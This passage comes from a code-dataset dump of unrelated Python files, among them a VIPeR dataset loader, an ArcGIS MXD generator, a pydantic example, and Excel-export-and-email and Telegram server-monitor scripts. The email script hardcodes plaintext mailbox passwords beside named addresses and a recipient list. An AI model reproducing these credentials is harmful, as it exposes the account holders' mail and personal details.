print(\"Creating directory {}\".format(self.dataset_dir))\n mkdir_if_missing(self.dataset_dir)\n fpath = osp.join(self.dataset_dir, osp.basename(self.dataset_url))\n\n print(\"Downloading VIPeR dataset\")\n urllib.urlretrieve(self.dataset_url, fpath)\n\n print(\"Extracting files\")\n zip_ref = zipfile.ZipFile(fpath, 'r')\n zip_ref.extractall(self.dataset_dir)\n zip_ref.close()\n\n def _check_before_run(self):\n \"\"\"Check if all files are available before going deeper\"\"\"\n if not osp.exists(self.dataset_dir):\n raise RuntimeError(\"'{}' is not available\".format(self.dataset_dir))\n if not osp.exists(self.cam_a_path):\n raise RuntimeError(\"'{}' is not available\".format(self.cam_a_path))\n if not osp.exists(self.cam_b_path):\n raise RuntimeError(\"'{}' is not available\".format(self.cam_b_path))\n\n def _prepare_split(self):\n if not osp.exists(self.split_path):\n print(\"Creating 10 random splits\")\n\n cam_a_imgs = sorted(glob.glob(osp.join(self.cam_a_path, '*.bmp')))\n cam_b_imgs = sorted(glob.glob(osp.join(self.cam_b_path, '*.bmp')))\n assert len(cam_a_imgs) == len(cam_b_imgs)\n num_pids = len(cam_a_imgs)\n print(\"Number of identities: {}\".format(num_pids))\n num_train_pids = num_pids // 2\n\n splits = []\n for _ in range(10):\n order = np.arange(num_pids)\n np.random.shuffle(order)\n train_idxs = order[:num_train_pids]\n test_idxs = order[num_train_pids:]\n assert not bool(set(train_idxs) & set(test_idxs)), \"Error: train and test overlap\"\n\n train = []\n for pid, idx in enumerate(train_idxs):\n cam_a_img = cam_a_imgs[idx]\n cam_b_img = cam_b_imgs[idx]\n train.append((cam_a_img, pid, 0))\n train.append((cam_b_img, pid, 1))\n\n test = []\n for pid, idx in enumerate(test_idxs):\n cam_a_img = cam_a_imgs[idx]\n cam_b_img = cam_b_imgs[idx]\n test.append((cam_a_img, pid, 0))\n test.append((cam_b_img, pid, 1))\n\n split = {'train': train, 'query': test, 'gallery': test,\n 'num_train_pids': num_train_pids,\n 'num_query_pids': num_pids - num_train_pids,\n 'num_gallery_pids': num_pids - num_train_pids\n }\n splits.append(split)\n\n print(\"Totally {} splits are created\".format(len(splits)))\n write_json(splits, self.split_path)\n print(\"Split file saved to {}\".format(self.split_path))\n\n print(\"Splits created\")\n","sub_path":"torchreid/data_manager/viper.py","file_name":"viper.py","file_ext":"py","file_size_in_byte":6163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"320023133","text":"import logging\r\n\r\n#to save the messages in a particular location instead of displaying it in the console\r\nlogging.basicConfig(filename=\"C:\\\\seleniumLogs\\\\test.log\",\r\n format='%(asctime)s: %(levelname)s: %(message)s',\r\n datefmt='%m/%d/%Y %I:%M:%S %p') #set time and date format\r\n\r\nlogger=logging.getLogger() #creating this variable will allow us to use it instead of logging object\r\nlogger.setLevel(logging.DEBUG) #an alternative method to set message level\r\n\r\n#by default the debug and info messages are not printed as they are not serious enough.. printing starts from warning message onwards\r\nlogger.debug(\"This is a debug message.\")\r\nlogger.info(\"This is an info message.\")\r\n\r\n#the following messages are printed due to their severity level\r\nlogger.warning(\"This is a warning message.\")\r\nlogger.error(\"This is an error message.\")\r\nlogger.critical(\"This is a critical message.\")","sub_path":"loggingDemo2.py","file_name":"loggingDemo2.py","file_ext":"py","file_size_in_byte":918,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"312444179","text":"import nltk\nfrom string import punctuation\n\nnltk.download()\n\n\ndef preprocessamento(docs):\n \"Preprocessa os documentos da lista docs para a lista docsp, eliminando stopwords, pontuação e 1 unico caracter.\"\n # Pre-processamento de uma lista de documentos\n # docs = []\n docsp = []\n print(\"=========================Preprocessamento de Documentos=========================\")\n print(\"================================================================================\")\n caracteres = ['!', '?', ',', '.', ':', ';', '-', '/', '_', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '(', ')', '[', ']', '{', '}']\n\n for d in docs:\n # Remoção de pontuação\n for p in caracteres:\n d = d.replace(p, \"\")\n d = d.replace(\"\\n\", \" \")\n d = d.replace(\"\\r\", \"\")\n d = d.strip()\n # Remoção de caixa alta\n d = d.lower()\n # Quebra por palavras\n d = d.split(\" \")\n docsp.append(d)\n print(\"Doc:\", d)\n\n stopwords = []\n stopwords = set(nltk.corpus.stopwords.words('portuguese') + list(punctuation))\n\n for d in docsp:\n for p in d:\n if p in stopwords:\n d.remove(p)\n elif len(p) <= 1:\n d.remove(p)\n # print(\"Doc:\", d)\n print(\"================================================================================\")\n\n return docsp","sub_path":"preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":1386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"367546260","text":"import pretty_midi\n# Create a PrettyMIDI object\n# Pretty MIDIオブジェクトを作る。\ncello_c_chord = pretty_midi.PrettyMIDI()\n\n# Create an Instrument instance for a cello instrument\n# Instrument Instanceを作る。ここではCello\n\n# 楽器名を入れると、対応するGeneral MIDI program numberを返してくれる\ncello_program = pretty_midi.instrument_name_to_program('Cello')\n\n\n# Instrument instanceをCelloとして作成\ncello = pretty_midi.Instrument(program=cello_program)\n\n\n# Iterate over note names, which will be converted to note number later\n# メロディをNoteNameで記載していますが、後ほどNoteNumberに変換されます。\n\nfor note_name in ['C5', 'E5', 'G5']:\n # Retrieve the MIDI note number for this note name\n # NoteNameからNote Numberを検索しています。\n note_number = pretty_midi.note_name_to_number(note_name)\n\n # Create a Note instance, starting at 0s and ending at .5s\n # NoteInstanceを作成します。音(pitch)の開始時間と終了時間、\n # velocityを定義します。\n note = pretty_midi.Note(\n velocity=100, pitch=note_number, start=0, end=.5)\n\n # Add it to our cello instrument\n # 上記で作成したNoteInstanceをCelloInstrumentに加えます。\n cello.notes.append(note)\n\n\n# Add the cello instrument to the PrettyMIDI object\n# ChelloInstrumentをPrettyMIDIオブジェクトに加えます。\ncello_c_chord.instruments.append(cello)\n\n\n# Write out the MIDI data\n# PrettyMIDIオブジェクトをMIDIファイルとして書き出しましょう。\ncello_c_chord.write('cello-C-chord.mid')","sub_path":"manimidi.py","file_name":"manimidi.py","file_ext":"py","file_size_in_byte":1611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"564271302","text":"from Game.Shared.Constants import Constants\nfrom Game.Bricks import *\n\nimport os\nimport pygame\n\nclass Level:\n def __init__(self, game):\n self.__game = game\n self.__bricks = []\n self.__remainingBrickCount = 0\n self.__currentLevel = 1 #alway start from level 1\n\n def getBricks(self):\n return self.__bricks\n\n def getRemainingBrickCount(self):\n return self.__remainingBrickCount\n\n def hitBrick(self):\n self.__remainingBrickCount -= 1\n\n def loadNextLevel(self):\n pass\n \n def load(self, level):\n self.__currentLevel = level\n x, y = 0, 0\n levelDataFilePath = os.path.join(Constants.RESOURCE_BASE_PATH, \"Levels\\\\Level\" + str(level) + \".dat\")\n f = open(levelDataFilePath, mode=\"rt\")\n lines = f.readlines()\n for line in lines:\n for digit in line:\n if digit == \"1\": #this is a normal brick\n brick = Brick(self.__game, (x, y), pygame.image.load(Constants.NORMAL_BRICK_SPRITE))\n self.__remainingBrickCount += 1 #increase the brick count when a new brick is added\n elif digit == \"2\": #this is a life brick\n brick = LifeBrick(self.__game, (x, y), pygame.image.load(Constants.LIFE_BRICK_SPRITE))\n self.__remainingBrickCount += 1 #increase the brick count when a new brick is added\n elif digit == \"3\": #this is a power brick\n brick = PowerBrick(self.__game, (x, y), pygame.image.load(Constants.POWER_BRICK_SPRITE))\n self.__remainingBrickCount += 1 #increase the brick count when a new brick is added\n else: #should be 0, do not show any brick\n pass\n self.__bricks.append(brick) #add the newly created brick in the bricks list\n x += (Constants.BRICK_SIZE[0]+5) #increase x by the width of the brick plus 5 pixel gap for next brick\n x = 0 #reset the x to 0 for next line of brick\n y += (Constants.BRICK_SIZE[1] + 10) #increase y by the height of the brick plus 10 pixel gap for next line\n\n#test\n#myLevel = Level(\"\")\n#myLevel.load(1)\n","sub_path":"sq/BallGame/Version6/Game/Level.py","file_name":"Level.py","file_ext":"py","file_size_in_byte":2223,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"307614567","text":"# This file is used to create an MXD file based on a datapack. It needs to be run via the python application that is\n# packaged with arcgis.\n# For many users this is the default python, for other users they may have to specify this location\n# for example ('C:\\Python27\\ArcGIS10.5\\python create_mxd.py').\n\nimport os\nimport logging\nimport shutil\nfrom multiprocessing import Pool\nimport json\n\ntry:\n input = raw_input\nexcept NameError:\n pass\n\nlogging.basicConfig()\nlogger = logging.getLogger(\"create_mxd\")\n\nlogger.warning(\"Creating an MXD file for your data...\")\n\n\nif os.getenv(\"LOG_LEVEL\"):\n logger.setLevel(os.getenv(\"LOG_LEVEL\"))\n\ntry:\n from django.conf import settings\n\n BASE_DIR = settings.BASE_DIR\nexcept Exception:\n BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n\nSUPPORTED_VERSIONS = [\"10.5.1\"]\nVERSIONS = [\"10.6.1\", \"10.6\", \"10.5.1\", \"10.5\", \"10.4.1\", \"10.4\"]\n\ntry:\n import arcpy\nexcept Exception as e:\n logger.warning(e)\n input(\n \"Could not import ArcPY. ArcGIS 10.4 or 10.5 is required to run this script. \"\n \"Please ensure that it is installed and activated. \"\n \"If multiple versions of python are installed ensure that you are using python that came bundled with ArcGIS. \"\n \"Press any key to exit.\"\n )\n raise\n\nversion = arcpy.GetInstallInfo().get(\"Version\")\nif arcpy.GetInstallInfo().get(\"Version\") not in SUPPORTED_VERSIONS:\n logger.warning(\n (\n \"This script only supports versions {0}. \"\n \"It might work for {1} but it will likely not support all of the datasets.\".format(\n SUPPORTED_VERSIONS, [version for version in VERSIONS if version not in SUPPORTED_VERSIONS]\n )\n )\n )\n\n\ndef update_mxd_from_metadata(file_name, metadata, verify=False):\n \"\"\"\n :param file_name: A path to the mxd file.\n :param metadata: The metadata providing the names, filepaths, and types to add to the mxd.\n :return: The original file.\n \"\"\"\n mxd = arcpy.mapping.MapDocument(os.path.abspath(file_name))\n df = mxd.activeDataFrame\n version = get_version()\n for layer_name, layer_info in metadata[\"data_sources\"].items():\n for file_info in layer_info[\"files\"]:\n # As of arcgis 10.5.1 shapefiles can't be imported as zips.\n if file_info[\"file_ext\"] in [\".zip\"]:\n logger.warning(\n \"This script can't automatically add zipped shapefiles. \"\n \"You can try to use the osm layer in the template folder then update \"\n \"the source data after extracting the shapefiles.\"\n )\n continue\n file_path = os.path.abspath(os.path.join(BASE_DIR, file_info[\"file_path\"]))\n # If possible calculate the statistics now so that they are correct when opening arcmap.\n try:\n logger.warning((\"Calculating statistics for the file {0}...\".format(file_path)))\n arcpy.CalculateStatistics_management(file_path)\n except Exception as e:\n logger.warning(e)\n layer_file = get_layer_file(layer_info[\"type\"], version)\n if not layer_file:\n logger.warning(\n (\n \"Skipping layer {0} because the file type is not supported for ArcMap {1}\".format(\n layer_name, version\n )\n )\n )\n if version == \"10.5\":\n logger.warning(\n \"However with your version of ArcMap you can still drag and drop this layer onto the Map.\"\n )\n continue\n if file_info[\"file_ext\"] in [\".kml\", \".kmz\"]:\n kml_layer = os.path.splitext(os.path.basename(file_path))[0]\n template_dir = os.path.join(BASE_DIR, \"arcgis\", \"templates\")\n layer_file = os.path.join(template_dir, \"{}.lyr\".format(kml_layer))\n try:\n layer_from_file = arcpy.KMLToLayer_conversion(\n in_kml_file=file_path, output_folder=template_dir, output_data=kml_layer\n )\n except Exception:\n # This could fail for various reasons including that the file already exists.\n # If KMLs are very important to your workflow please contact us and we can make this more robust.\n logger.warning(\"Could not create a new KML layer file and gdb, it may already exist.\")\n layer_from_file = arcpy.mapping.Layer(layer_file)\n layer_from_file.name = layer_info[\"name\"] + file_info[\"file_ext\"].replace(\".\", \"_\")\n logger.warning((\"Adding layer: {0}...\".format(layer_from_file.name)))\n arcpy.mapping.AddLayer(df, layer_from_file, \"TOP\")\n del layer_from_file\n else:\n layer_from_file = arcpy.mapping.Layer(layer_file)\n layer_from_file.name = layer_info[\"name\"] + file_info[\"file_ext\"].replace(\".\", \"_\")\n logger.warning((\"Adding layer: {0}...\".format(layer_from_file.name)))\n try:\n arcpy.mapping.AddLayer(df, layer_from_file, \"TOP\")\n # Get instance of layer from MXD, not the template file.\n try:\n logger.warning((\"Updating layer: {0}...\".format(layer_from_file.name)))\n layer = arcpy.mapping.ListLayers(mxd)[0]\n update_layer(layer, file_path, layer_info[\"type\"], verify=verify)\n except Exception:\n logger.error(\"Could not update layer {0}\".format(layer_from_file.name))\n except Exception:\n logger.error(\"Could not add layer {0}\".format(layer_from_file.name))\n finally:\n del layer_from_file\n\n logger.debug(\"Getting dataframes...\")\n df = mxd.activeDataFrame\n\n df.extent = arcpy.Extent(*metadata[\"bbox\"])\n\n mxd.activeView = df.name\n arcpy.RefreshActiveView()\n mxd.save()\n del mxd # remove handle on file\n return file_name\n\n\ndef get_mxd_template(version):\n \"\"\"\n :param version: A version for the correct arcgis MapDocument template.\n :return: A file path to the correct arcgis MapDocument template.\n \"\"\"\n if \"10.6\" in version:\n template_file_name = \"template-10-6.mxd\"\n elif \"10.5\" in version:\n template_file_name = \"template-10-5.mxd\"\n elif \"10.4\" in version:\n template_file_name = \"template-10-4.mxd\"\n template_file = os.path.abspath(os.path.join(BASE_DIR, \"arcgis\", \"templates\", template_file_name))\n if not os.path.isfile(template_file):\n logger.warning(\"This script requires an mxd template file which was not found.\")\n raise Exception(\"File Not Found: {0}\".format(template_file))\n return template_file\n\n\ndef get_layer_file(type, version):\n \"\"\"\n\n :param type: Type of templace (i.e. raster, osm...)\n :param version: arcgis version (i.e. 10.5)\n :return: The file path to the correct layer.\n \"\"\"\n # Temporarily patch the version\n if \"10.6\" in version:\n version = \"10.6\"\n layer_basename = \"{0}-{1}.lyr\".format(type, version.replace(\".\", \"-\"))\n layer_file = os.path.abspath(os.path.join(BASE_DIR, \"arcgis\", \"templates\", layer_basename))\n logger.warning((\"Fetching layer template: {0}\".format(layer_file)))\n if os.path.isfile(layer_file):\n return layer_file\n return None\n\n\ndef get_version():\n \"\"\"\n :return: Returns the version of arcmap that is installed.\n \"\"\"\n\n try:\n version = arcpy.GetInstallInfo().get(\"Version\")\n if version in VERSIONS:\n return version\n raise Exception(\"UNSUPPORTED VERSION\")\n except Exception:\n logger.warning(\n (\n \"Unable to determine ArcGIS version. This script only supports versions {0}\".format(\n str(SUPPORTED_VERSIONS)\n )\n )\n )\n raise\n\n\ndef update_layer(layer, file_path, type, verify=False):\n \"\"\"\n :param layer: An Arc Layer object to be updated.\n :param file_path: A new datasource.\n :param verify: If true will validate the datasource after the layer is updated.\n :return: The updated ext.\n \"\"\"\n for lyr in arcpy.mapping.ListLayers(layer):\n if lyr.supports(\"DATASOURCE\"):\n try:\n logger.debug(\"layer: {0}\".format(lyr))\n logger.debug(\"removing old layer workspacePath: {0}\".format(lyr.workspacePath))\n except Exception:\n # Skip layers that don't have paths.\n continue\n try:\n # Try to update the extents based on the layers\n logger.debug(\"Updating layers from {0} to {1}\".format(lyr.workspacePath, file_path))\n if type == \"raster\" and os.path.splitext(file_path)[1] != \".gpkg\":\n logger.debug(\"Replacing Datasource\")\n lyr.replaceDataSource(\n os.path.dirname(file_path), \"RASTER_WORKSPACE\", os.path.basename(file_path), verify\n )\n elif type == \"elevation\":\n logger.debug(\"updating elevation\")\n lyr.replaceDataSource(os.path.dirname(file_path), \"NONE\", os.path.basename(file_path), verify)\n else:\n logger.debug(\"updating raster or vector gpkg\")\n logger.debug(\"Replacing WorkSpace Path\")\n lyr.findAndReplaceWorkspacePath(lyr.workspacePath, file_path, verify)\n if lyr.isFeatureLayer:\n logger.debug(arcpy.RecalculateFeatureClassExtent_management(lyr).getMessages())\n except Exception as e:\n logger.error(e)\n raise\n\n\ndef create_mxd(mxd=None, metadata=None, verify=False):\n \"\"\"\n Updates the template mxd with a new gpkg datasource. If an mxd is provided the result is written to that file.\n :param mxd: An mxd to write the result to (optional).\n :param metadata: The metadata file to use for updating the mxd.\n :param verify: Raise an exception if there is an error in the MXD after adding the new gpkg.\n :return: The contents (binary) of the mxd file.\n \"\"\"\n template_file = get_mxd_template(get_version())\n # with get_temp_mxd(metadata, verify=verify) as temp_mxd_file:\n # copy temp file to permanent file if specified.\n if mxd:\n logger.warning((\"writing file to {0}\".format(mxd)))\n shutil.copy(template_file, mxd)\n # return mxd\n update_mxd_from_metadata(mxd, metadata, verify=verify)\n with open(mxd, \"rb\") as open_mxd_file:\n return open_mxd_file.read()\n\n\ndef create_mxd_process(mxd=None, metadata=None, verify=False):\n \"\"\"\n This wraps create_mxd to overcome issues with licensing by running in a unique process.\n Updates the template mxd with a new gpkg datasource. If an mxd is provided the result is written to that file.\n :param mxd: An mxd to write the result to (optional).\n :param metadata: The metadata file to use for updating the mxd.\n :param verify: Raise an exception if there is an error in the MXD after adding the new gpkg.\n :return: The contents (binary) of the mxd file.\n \"\"\"\n pool = Pool()\n result = pool.apply_async(create_mxd, kwds={\"mxd\": mxd, \"metadata\": metadata, \"verify\": verify})\n mxd = result.get()\n return mxd\n\n\nif __name__ == \"__main__\":\n\n try:\n metadata_file = os.path.join(os.path.dirname(__file__), \"metadata.json\")\n\n with open(metadata_file, \"r\") as open_metadata_file:\n metadata = json.load(open_metadata_file)\n\n mxd_output = os.path.join(os.path.dirname(__file__), \"{0}.mxd\".format(metadata[\"name\"]))\n create_mxd(mxd=mxd_output, metadata=metadata, verify=True)\n except Exception as e:\n logger.warning(e)\n input(\"Press enter to exit.\")\n","sub_path":"eventkit_cloud/tasks/arcgis/create_mxd.py","file_name":"create_mxd.py","file_ext":"py","file_size_in_byte":12056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"357100994","text":"import json\n\nimport pydantic\nimport json\nfrom typing import Optional, List\nfrom pydantic import validators\n\n\nclass ISBN10FormatError(Exception):\n '''\n Custom error that is raised when ISBN10 doesn't have the right format.\n '''\n def __init__(self, value: str, message: str) -> None:\n self.value = value\n self.message = message\n super.__init__(message)\n\n\n\n\nclass ISBNMissingError(Exception):\n '''\n Custom Error that is raised when ISBN10 and ISBN13 are missing\n '''\n\n def __init(self, title: str, message: str) -> None:\n self.title = title\n self.message = message\n super().__init__(message)\n\nclass Book(pydantic.BaseModel):\n title: str\n author: str\n publisher: str\n price: float\n isbn_10: Optional[str]\n isbn_13: Optional[str]\n subtitle: Optional[str]\n\n\n # Every book has to be one of two 'isbn_10' or 'isbn_13'\n @pydantic.root_validator(pre=True)\n @classmethod\n def check_isbn10_or_isbn13(cls, values):\n '''\n Make sure that there is either ISBN_10 or ISBN_13 methods\n '''\n if \"isbn_10\" not in values and \"isbn_13\" not in values:\n raise ISBNMissingError(title=values[\"title\"], message=\"Doc should have either\")\n return values\n\n\n @pydantic.validator(\"isbn_10\")\n @classmethod\n def isbn_10_valid(cls, value) :\n '''\n Validator to check whether ISBN10 has a valie value\n \n '''\n chars = [ c for c in value if c in \"0123456789Xx\" ]\n if len(chars) != 10:\n raise Exception(\"MSG\",value=value)\n\n\n def char_to_int(char: str) -> int:\n if char in \"xX\":\n return 10\n return int(char)\n \n weighted_sum = sum((10 - i) * char_to_int(x) for i, x in enumerate(chars))\n if weighted_sum % 11 != 0:\n raise ISBN10FormatError(value=value, message='ISBN10 divisible by 11.')\n\n\n return value\n\n\n class config:\n '''\n Pydantic config class\n '''\n allow_mutation = False\n\n\ndef main() -> None:\n '''\n\n Main Function\n Read the JSON file.\n Here were are loading the data\n '''\n with open('/root/PY/data/pydantic_data.json') as file:\n data = json.load(file)\n '''\n This is the line that I don't understand but okay for now as we tend \n to overpass the tiem, For now remember to deconstruct the classes like this.\n '''\n books = [Book(**item) for item in data]\n print(data[0]['title'])\n print(books[0].title)\n print(books[0].dict(include={'price', 'title'}))\n\n\nif __name__ == \"__main__\":\n main()\n\n\n","sub_path":"pydantic/ex1.py","file_name":"ex1.py","file_ext":"py","file_size_in_byte":2658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"635651660","text":"# -*- coding: UTF-8 -*-\nimport email\nimport mimetypes\nimport smtplib\nimport os\nimport xlsxwriter\nimport decimal\nfrom email.header import Header\nfrom settings import get_mysql_db\n\n# import sys\n# reload(sys)\n# sys.setdefaultencoding('utf-8')\n\n\ndef send_email(year, month, day):\n # qbiayrpxpkbebhab\n sender = 'zhujianwei@donews.com'\n receivers = [\n 'zhujianwei@donews.com',\n 'wanshitao@donews.com',\n 'jijiazhen@donews.com',\n 'lichenguang@donews.com',\n 'chenkangjian@donews.com',\n 'zhanyanjun@donews.com',\n 'yangliu@donews.com',\n 'shuyong@donews.com',\n ] # 接收邮件,可设置为你的QQ邮箱或者其他邮箱\n # username = \"421414186@qq.com\"\n # password = \"odbtbqrfpqrmbhbj\"\n\n username = \"zhujianwei@donews.com\"\n password = \"4656BIsheng\"\n\n file_name = 'csv_file/statistics_result_table' + year + '-' + month + '-' + day + '.xlsx'\n # 构造MIMEMultipart对象做为根容器\n main_msg = email.MIMEMultipart.MIMEMultipart()\n\n # 构造MIMEText对象做为邮件显示内容并附加到根容器\n text_msg = email.MIMEText.MIMEText(year + '-' + month + '-' + day + \"统计结果表\", _charset=\"utf-8\")\n main_msg.attach(text_msg)\n\n # 构造MIMEBase对象做为文件附件内容并附加到根容器\n ctype, encoding = mimetypes.guess_type(file_name)\n if ctype is None or encoding is not None:\n ctype = 'application/octet-stream'\n maintype, subtype = ctype.split('/', 1)\n file_msg = email.MIMEImage.MIMEImage(open(file_name, 'rb').read(), subtype)\n\n # 设置附件头\n basename = os.path.basename(file_name)\n file_msg.add_header('Content-Disposition', 'attachment', filename=basename) # 修改邮件头\n main_msg.attach(file_msg)\n\n subject = year + '-' + month + '-' + day + '统计结果表'\n main_msg['Subject'] = Header(subject, 'utf-8')\n main_msg['From'] = 'zhujianwei@donews.com'\n main_msg['To'] = ','.join(receivers)\n smtp = smtplib.SMTP('smtp.exmail.qq.com', 25)\n fullText = main_msg.as_string()\n smtp.login(username, password)\n smtp.sendmail(sender, receivers, fullText)\n smtp.quit()\n\n\ndef export(year, month, day):\n table_name = 'statistics_result_table'\n conn = get_mysql_db()\n cursor = conn.cursor()\n sql1 = \"\"\"\n select\n media as 库名,\n news_count as 新闻数,\n total_count as 总资源数,\n total_count_1 as Mongo总资源数,\n format(total_size/1024/1024/1024, 2) as OSS日志存储总量G,\n format(total_size_1/1024/1024/1024, 2) as Mongo共有数据存储总量G,\n format(avg_size_1/1024/1024, 2) as 平均大小M,\n format(total_size_1*100/(select sum(total_size_1) from statistics_result_table where\n datetime ='{}'), 2) as 百分占比\n from statistics_result_table where datetime = %s;\n \"\"\".format(year + '-' + month + '-' + day)\n\n\n sql2 = \"\"\"\n select\n media as 库名,\n news_count as 新闻数,\n img_location_count_1 as 图片数据量,\n format(img_location_size_1/1024/1024/1024, 2) as 图片大小G,\n small_img_location_count_1 as 缩略图数据量,\n format(small_img_location_size_1/1024/1024/1024, 2) as 缩略图大小G,\n video_location_count_1 as 视频数据量,\n format(video_location_size_1/1024/1024/1024, 2) as 视频大小G\n from {} where datetime = %s;\n \"\"\".format(\"statistics_result_table\")\n\n sql3 = \"\"\"\n select\n media as 库名,\n ifnull(format(img_location_count_1/news_count, 2), 0) as 平均图片数量,\n ifnull(format(small_img_location_count_1/news_count, 2), 0) as 平均缩略图数量,\n ifnull(format(video_location_count_1/news_count, 2), 0) as 平均视频数量,\n ifnull(format(img_location_size_1/img_location_count_1/1024, 2), 0) as 单条数据平均图片大小kb,\n ifnull(format(small_img_location_size_1/small_img_location_count_1/1024, 2), 0) as 单条数据平均缩略图大小kb,\n ifnull(format(video_location_size_1/video_location_count_1/1024, 2), 0) as 单条数据视频大小kb,\n format(ifnull(img_location_size_1/img_location_count_1/1024, 0) + \n ifnull(small_img_location_size_1/small_img_location_count_1/1024, 0) + \n ifnull(video_location_size_1/video_location_count_1/1024, 0), 2) as 平均单条数据\n from {} where datetime = %s;\n \"\"\".format(\"statistics_result_table\")\n\n workbook = xlsxwriter.Workbook('csv_file/statistics_result_table' + year + '-' + month + '-' + day + '.xlsx')\n count = 1\n for sql in [sql1, sql2, sql3]:\n cursor.execute(sql, year + '-' + month + '-' + day)\n # 搜取所有结果\n results = cursor.fetchall()\n # 获取MYSQL里面的数据字段名称\n fields = cursor.description\n sheet = workbook.add_worksheet('table_' + table_name + str(count))\n count += 1\n # 写上字段信息\n for field in range(0,len(fields)):\n sheet.write(0, field, fields[field][0])\n\n # 获取并写入数据段信息\n for row in range(1, len(results)+1):\n for col in range(0, len(fields)):\n value = results[row-1][col]\n if str(value).find(\".\") != -1 or str(value) == '0':\n if str(value).find(\",\") != -1:\n value = decimal.Decimal(str(value).replace(\",\", ''))\n value = decimal.Decimal(value)\n sheet.write(row, col, value)\n workbook.close()\n\n\n# 结果测试\nif __name__ == \"__main__\":\n export(year='2017', month='10', day='08')\n send_email(year='2017', month='10', day='08')\n","sub_path":"send_email_test.py","file_name":"send_email_test.py","file_ext":"py","file_size_in_byte":5760,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"163628129","text":"# -*- encoding: utf-8 -*-\nfrom abjad.tools import mathtools\nfrom experimental.tools.musicexpressiontools.SingleContextSetExpression \\\n import SingleContextSetExpression\n\n\nclass SingleContextTimeSignatureSetExpression(SingleContextSetExpression):\n r'''Single-context time signature set expression.\n '''\n\n ### INITIALIZER ###\n\n def __init__(\n self,\n source_expression=None,\n target_timespan=None,\n target_context_name=None,\n fresh=True,\n persist=True,\n ):\n SingleContextSetExpression.__init__(\n self,\n attribute='time_signatures',\n source_expression=source_expression,\n target_timespan=target_timespan,\n target_context_name=target_context_name,\n fresh=fresh,\n persist=persist,\n )\n\n ### PUBLIC METHODS ###\n\n def evaluate(self):\n r'''Evaluate single-context time signature set expression.\n\n Returns timespan-scoped single-context time signature set expression.\n '''\n from experimental.tools import musicexpressiontools\n target_timespan = self._evaluate_anchor_timespan()\n expression = \\\n musicexpressiontools.TimespanScopedSingleContextTimeSignatureExpression(\n source_expression=self.source_expression,\n target_timespan=target_timespan,\n target_context_name=self.target_context_name,\n fresh=self.fresh,\n )\n expression._lexical_rank = self._lexical_rank\n return expression\n\n def make_time_signatures(self):\n from experimental.tools import musicexpressiontools\n if hasattr(self.source_expression, 'evaluate_early'):\n expression = self.source_expression.evaluate_early()\n assert isinstance(\n expression,\n musicexpressiontools.IterablePayloadExpression)\n time_signatures = expression.payload\n else:\n expression = self.source_expression.evaluate()\n assert isinstance(\n expression,\n musicexpressiontools.IterablePayloadExpression)\n time_signatures = expression.payload[:]\n time_signatures = [\n mathtools.NonreducedFraction(x) for x in time_signatures]\n if time_signatures:\n self.root_specification._time_signatures = time_signatures[:]\n return time_signatures\n","sub_path":"abjad/experimental/tools/musicexpressiontools/SingleContextTimeSignatureSetExpression.py","file_name":"SingleContextTimeSignatureSetExpression.py","file_ext":"py","file_size_in_byte":2435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"328827653","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n# Server Monitor Bot\n# by Aliaksandr Zakharenka\n#\n# ///////////////////////////////// https://al3xable.me/ ////////////////////////////////////\n# // //\n# // .__ ________ ___. .__ //\n# // _____ | | \\_____ \\ ___ ________ \\_ |__ | | ____ _____ ____ //\n# // \\__ \\ | | _(__ < \\ \\/ /\\__ \\ | __ \\ | | _/ __ \\ / \\ _/ __ \\ //\n# // / __ \\_| |__ / \\ > < / __ \\_ | \\_\\ \\| |__\\ ___/ | Y Y \\\\ ___/ //\n# // (____ /|____//______ //__/\\_ \\(____ / |___ /|____/ \\___ > /\\ |__|_| / \\___ > //\n# // \\/ \\/ \\/ \\/ \\/ \\/ \\/ \\/ \\/ //\n# // //\n# ///////////////////////////////////////////////////////////////////////////////////////////\n\nimport json\nimport logging\nimport time\nimport urllib.request\nfrom multiprocessing import Process\nfrom urllib.error import HTTPError, URLError\n\nfrom telegram import TelegramError\nfrom telegram.ext import Updater, CommandHandler\n\nupdater = None\nconfig = None\nlogger = None\n\n\ndef servers_monitor(bot):\n while True:\n try:\n fail = False\n resp = '```\\n'\n\n for host in config['hosts']:\n r, st = checkHost(host)\n fail = fail or not st\n if not st:\n resp += r\n\n resp += '```'\n\n if fail:\n bot.sendMessage(chat_id=config['chat'], text=resp, parse_mode=\"Markdown\")\n\n time.sleep(config['monitorSleep'])\n except TelegramError as e:\n logger.error('Monitor exception: {}'.format(e.message))\n except Exception as e:\n logger.error('Monitor exception: {}'.format(e.args))\n\n\ndef chat(bot, update):\n update.message.reply_text(update.message.chat.id)\n # bot.sendPhoto(chat_id=config['master'], photo=open(file, 'rb'))\n\n\ndef checkHost(host):\n resp = ''\n srvip = host[0]\n\n start_time = time.time()\n\n try:\n code = urllib.request.urlopen(\"http://\" + srvip, timeout=5).getcode()\n except HTTPError as e:\n code = e.code\n except URLError as e:\n code = e.reason\n except Exception as e:\n code = str(e.args)\n\n ping = int((time.time() - start_time) * 1000)\n\n ok = (code in [200, 401, 402, 403, 404])\n\n resp += \"%-18s | %4sms | %s\\n\" % (host[0], ping, str(code))\n\n return resp, ok\n\n\ndef status(bot, update):\n resp = '```\\n'\n\n for host in config['hosts']:\n r, st = checkHost(host)\n resp += r\n\n resp += '```'\n\n update.message.reply_text(resp, parse_mode=\"Markdown\")\n\n\ndef main():\n # INIT #\n global config, logger, updater\n\n config = json.loads(open('bot.json', 